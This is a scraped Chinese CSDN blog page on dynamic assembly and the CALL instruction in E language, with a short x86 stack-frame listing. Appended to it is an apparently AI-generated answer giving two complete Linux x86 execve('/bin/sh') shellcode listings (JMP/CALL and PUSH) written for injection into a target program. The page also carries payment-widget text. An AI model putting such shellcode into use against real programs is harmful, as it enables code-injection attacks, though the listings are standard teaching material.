E 动态汇编 / CALL

这篇博客详细解析了动态汇编中的CALL指令,包括堆栈布局、动态汇编的概念及其与静态汇编的区别。文章通过示例代码阐述了如何在运行时构造汇编指令调用函数,并解释了CALL指令的运作方式,强调了动态汇编在某些场景下的实用性。
摘要由CSDN通过智能技术生成
原来发布代码到精易论坛时我并没有阐述过代码的一些东西 可能是
我比较懒吧 不过今天我就来讲讲下面的代码的一些方方面面的东西
push        ebp
mov         ebp,esp
sub         esp,0C0h
push        ebx
push        esi
push        edi
lea         edi,[ebp-0C0h]
mov         ecx,30h
mov         eax,0CCCCCCCCh
rep stos    dword ptr es:[edi]

push        dword ptr[]
call        dword ptr[ebp+8]

pop         edi
pop         esi
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
好的,我会尽力回答你的问题。首先,汇编语言编写的shellcode需要满足以下几个条件: 1. 代码长度尽可能短,因为要将代码注入到目标程序中,所以长度越短越好; 2. 功能要和原程序一致,即在目标程序中执行和原程序相同的操作; 3. 不能包含任何的空字符,因为这些字符会被当做字符串结束符号,从而导致程序无法正常执行。 在这里,我们可以使用JUMP/CALL方法和PUSH方法来编写这个程序的shellcode,具体实现方式如下: 1. JUMP/CALL方法 使用JUMP/CALL方法可以通过调用系统函数来执行命令,具体实现方式如下: ``` section .text global _start _start: jmp short call_shellcode shellcode: pop ebx xor eax, eax push eax push ebx mov ecx, esp mov al, 0xb int 0x80 call_shellcode: call shellcode db '/bin/sh', 0x0 ``` 该程序首先跳转到call_shellcode标签,然后通过call指令跳转到shellcode标签,将/bin/sh字符串的地址压入栈中,然后使用系统调用函数执行命令。 2. PUSH方法 使用PUSH方法可以通过将参数压入栈中来执行命令,具体实现方式如下: ``` section .text global _start _start: xor eax, eax push eax mov eax, 0x68732f2f push eax mov eax, 0x6e69622f push eax mov ebx, esp mov ecx, eax mov edx, eax mov al, 0xb int 0x80 ``` 该程序将/bin/sh字符串的ASCII码依次压入栈中,然后通过系统调用函数执行命令。 以上两种方法都可以实现该程序的功能,具体使用哪种方法取决于具体的情况。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值